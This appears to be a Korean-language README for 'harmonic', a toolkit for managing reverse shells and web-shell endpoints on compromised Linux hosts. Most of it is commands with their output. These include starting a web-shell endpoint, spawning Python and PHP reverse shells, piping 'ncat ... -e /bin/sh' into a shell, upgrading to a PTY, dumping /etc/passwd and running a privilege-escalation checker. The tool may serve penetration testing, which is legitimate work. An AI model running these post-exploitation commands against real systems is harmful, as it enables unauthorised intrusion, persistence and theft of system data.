
네이티브 셸 내에서 작동하도록 설계된 리버스 셸 처리용 스위트
리눅스에서 리버스 셸을 관리하고 인터페이싱하기 위한 툴셋의 시작 (코드는 아직 빠르고 지저분한 상태이며 예외 처리가 거의 없습니다). UNIX 철학에 강하게 영감을 받아, 기본 아이디어는 임의의 엔드포인트를 처리하는 데몬(connd, 아직 완전한 데몬은 아니지만 별도의 터미널에서 실행 가능)을 두고 해당 엔드포인트에 대해 도구를 실행하는 것입니다.
엔드포인트는 스크립트나 프로세스에 의해 '구동(driven)'되며 파일 시스템에 파일로 노출되고, 그런 다음 얇은 소프트웨어 클라이언트를 사용하여 상호 작용할 수 있지만, 셸 명령어를 사용하여 쓰고 읽는 것도 쉽게 가능합니다. 사실, 셸에서 독립적으로 스크립트를 실행할 수 있는 것이 핵심 설계 요소이며, 이상적으로는 스크립트가 엔드포인트가 존재하는 것에만 의존하지만 함께 조합하여 사용할 수도 있습니다 (서로 연쇄적으로 연결).
현재 엔드포인트 옵션은 다음과 같습니다:
얇은 소프트웨어 클라이언트(hthinc.py)는 시스템의 엔드포인트에 대한 기본 인터페이스를 제공하며, 시스템에 대해 스크립트를 빠르게 실행할 수 있습니다. 몇 가지 기본적이지만 유용한 스크립트가 작성되었습니다:
$HCROOT/.hcrc 매크로 섹션에 정의됨).wpull과 함께 사용할 파일 포털 스크립트를 생성합니다.portal.vbs(wpinit 참조) 매크로 스크립트로, 포털 디스패치(Windows)에서 파일을 가져옵니다.리버스 셸 드라이버 유형(즉, 원격 시스템에서 셸을 구동하는 것)은 다음과 같습니다(현재 리눅스 지원):
기타 스크립트:
$HCROOT가 이 저장소의 디렉터리를 가리킵니다(아래 구성 참조).connd는 데몬 또는 일반 프로세스로 실행 중입니다.
$HCROOT/sys/bin/connd에서 실행할 수 있습니다(먼저 빌드해야 함).connd에 엔드포인트를 시작하도록 지시하고, wedge 셸 드라이버를 사용하여 시스템 호출을 수행하고 포맷된 응답을 반환하는 제공된 PHP 스크립트와 함께 사용합니다. 하지만 이 한 줄짜리 스크립트는 서버 로그에 코드 주입된 것처럼 쉽게 사용될 수도 있습니다.
$ hconnd.py start wsh http://example.com/hwsh.php
1
이로 인해 엔드포인트 1이 생성되었습니다(두 개의 I/O 파이프 — 실행 하위 디렉터리에서 t1i 및 t1o로 볼 수 있습니다). 이제 hthinc.py를 사용하여 셸과 상호 작용합니다.
$ hthinc.py 1
<harmonic> thinc
runik@hwsh:example.com /var/www/public_html $ whoami
www-data
% 0
runik@hwsh:example.com /var/www/public_html $ uname -a
Linux green 4.4.0-83-generic #106-Ubuntu SMP Mon Jun 26 17:54:43 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
% 0
이것이 리눅스 박스임을 알 수 있습니다. wedge된 웹 셸에서 벗어나 적절한 셸을 얻고 싶습니다. 내장 명령어 !help를 실행하면 thinc 도움말 메시지가 표시됩니다. sp 스크립트를 실행할 수 있으며, 이 스크립트는 원격 시스템에 대해 명령어를 자동으로 실행하고, 환경을 열거하고, nc 엔드포인트를 시작하고, 리버스 셸을 생성하고, 새 hthinc.py를 통해 자동으로 드롭인합니다.
runik@hwsh:example.com /var/www/public_html $ !run sp LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
또는 (예를 들어) PHP를 드라이버로 사용한다는 것을 알고 있다면 다음과 같이 지정할 수 있습니다:
runik@hwsh:example.com /var/www/public_html $ !run sp DRIVER=php LHOST=127.0.0.1 LPORT=4455
<harmonic> basic shell spawner
[+] Generating php reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
그리고 TTY가 없는 셸이 있거나 이탈하고 싶다면 기본 매크로 중 하나를 실행할 수 있습니다:
$ tty
no tty
$ !run mac pty
[email protected]:/var/www/html/$
또한 명령어의 출력을 기록하려면 log 스크립트를 사용할 수 있으며, 현재 작업 디렉터리에 저장됩니다:
$ !run log cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
df12:x:1000:1000::/home/df12:/bin/zsh
[+] Saved to /home/examples/10.0.2.12/post/cat__etc_passwd_0
엔드포인트가 실행 중인 동안에는 연결 프로세스가 데몬에 의해 관리되므로 클라이언트를 연결/분리할 수 있습니다.
모든 것을 더 유닉스 방식으로 실행할 수 있기 때문에 셸에서 빠르게 프로세스를 반복할 수 있습니다. 웹 셸 엔드포인트를 시작하고, 엔드포인트 ID를 얻은 다음, 셸에서 엔드포인트에 대해 sp.py 생성기 스크립트를 실행합니다(hthinc.py에서 사용되는 동일한 스크립트이지만 다른 진입점을 사용합니다).
$ hconn.py start wsh http://example.com/hwsh.php
1
$ hscr.py 1 sp 4455
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Generating python reverse shell command (127.0.0.1:4455)... OK
[+] Starting endpoint... 2
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
또는 원 라이너로:
$ hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
그리고 쉽게 자동화할 수 있습니다:
$ cat reverse.sh
#!/bin/bash
hscr.py `hconn.py start wsh http://example.com/hwsh.php` sp 4455
$ ./reverse.sh
<harmonic> basic shell spawner
[+] Running enumeration...
...
$
hcmd.py 도구를 사용하면 셸에서 엔드포인트를 통해 명령어를 빠르게 실행할 수 있습니다.
$ hcmd.py 2 uname -a
Linux kali 4.12.0-kali1-amd64 #1 SMP Debian 4.12.6-1kali6 (2017-08-30) x86_64 GNU/Linux
그리고 평소처럼 결과를 파이프하거나 리디렉션할 수 있습니다.
$ hcmd.py 2 ifconfig | grep wlan
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
hconn.py에 list 동사를 사용하여 현재 엔드포인트 목록과 관련된 연결 상태를 볼 수 있습니다.
$ hconn.py list
1 [26616]: /home/runik/Tools/harmonic/hwsh.py http://10.15.10.4/hwsh.php
2 [26622]: nc -lp 4455 Established -> 10.15.10.4
3 [26659]: nc -nlvp 4495 Listening
wedge 셸 엔드포인트 설정:
$ hconn.py start wsh http://example.com/hwsh.php
1
이제 포트 4444에서 netcat 리스너를 설정할 수 있습니다:
$ hconn.py start nc 4444
2
그런 다음 입력 파일을 통해 wedge 셸 엔드포인트(eid 1)에 씁니다:
$ echo "ncat 127.0.0.1 4444 -e /bin/sh" > run/t1i
이것은 netcat 리스너로 셸을 다시 보내야 합니다. thin 클라이언트를 netcat 엔드포인트(eid 2)에 연결하면 또 다른 셸이 대기 중인 것을 볼 수 있습니다:
$ hthinc.py 2
<harmonic> thinc
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
셸 인터페이스를 파일로 일반화하면 웹 셸 엔드포인트에 사용된 스크립트가 netcat 리버스 셸 엔드포인트에서도 작동합니다. 절대 경로($HCROOT/share/script/*.py)를 사용하거나 도우미 스크립트 hscr.py를 사용하여 스크립트를 호출할 수 있습니다.
netcat 엔드포인트에 대해 sp.py를 실행하고 또 다른 리버스 셸을 생성할 수 있습니다:
$ hscr.py 2 sp 4495 127.0.0.1
<harmonic> basic shell spawner
[+] Running enumeration...
[+] Checking for python version... 2.7
[+] Starting endpoint... 3
[+] Generating python reverse shell command (127.0.0.1:4495)... OK
[+] Dropping into shell
<harmonic> thinc
/bin/sh: 0: can't access tty; job control turned off
$
그리고 절대 경로를 사용한 동등한 명령은 $ $HCROOT/share/script/sp.py 2 4495 127.0.0.1입니다.
또는 웹 셸에 대해 Linux Priv Escalation Checker를 실행할 수 있습니다:
$ $HCROOT/share/script/lpc.py 1
<harmonic> Linux Priv Check Wrapper
============================================================
LINUX PRIVILEGE ESCALATION CHECKER
============================================================
...
Finished
그리고 hthinc.py 인스턴스 내에서 호출할 수 있습니다:
!run lpc
환경 변수를 사용하여 전역 값을 정의할 수 있습니다. 변수에는 세 가지 수준이 있으며, 각각 다음보다 우선순위가 낮습니다:
리소스 파일 변수는 $HCROOT/.hcrc에 정의됩니다. 이것들은 가장 낮은 우선순위이지만 시스템 전체 환경 변수를 오염시키지 않도록 사용할 수 있습니다.
환경/셸 변수는 셸에 의해 프로세스로 가져오며 HCV_ 접두사가 붙습니다. 이것들은 리소스 변수와 병합되며 이미 존재하는 값을 덮어씁니다.
인라인 변수는 이전에 정의된 모든 것을 덮어씁니다.
이 예제에서는 LHOST=127.0.0.1이 .hcrc에서 리소스 변수로 정의되어 있고 스크립트 사용법은 ./script LPORT [LHOST]입니다.
다음 스크립트는 LHOST=127.0.0.1 및 LPORT=4455를 갖게 됩니다(리소스 변수).
$ ./script 4455
다음 스크립트는 LHOST=192.168.1.101 및 LPORT=4455를 갖게 됩니다(셸 변수).
$ HCV_LHOST=192.168.1.101 ./script 4455
다음 스크립트는 LHOST=10.10.10.125를 갖게 됩니다(인라인 변수).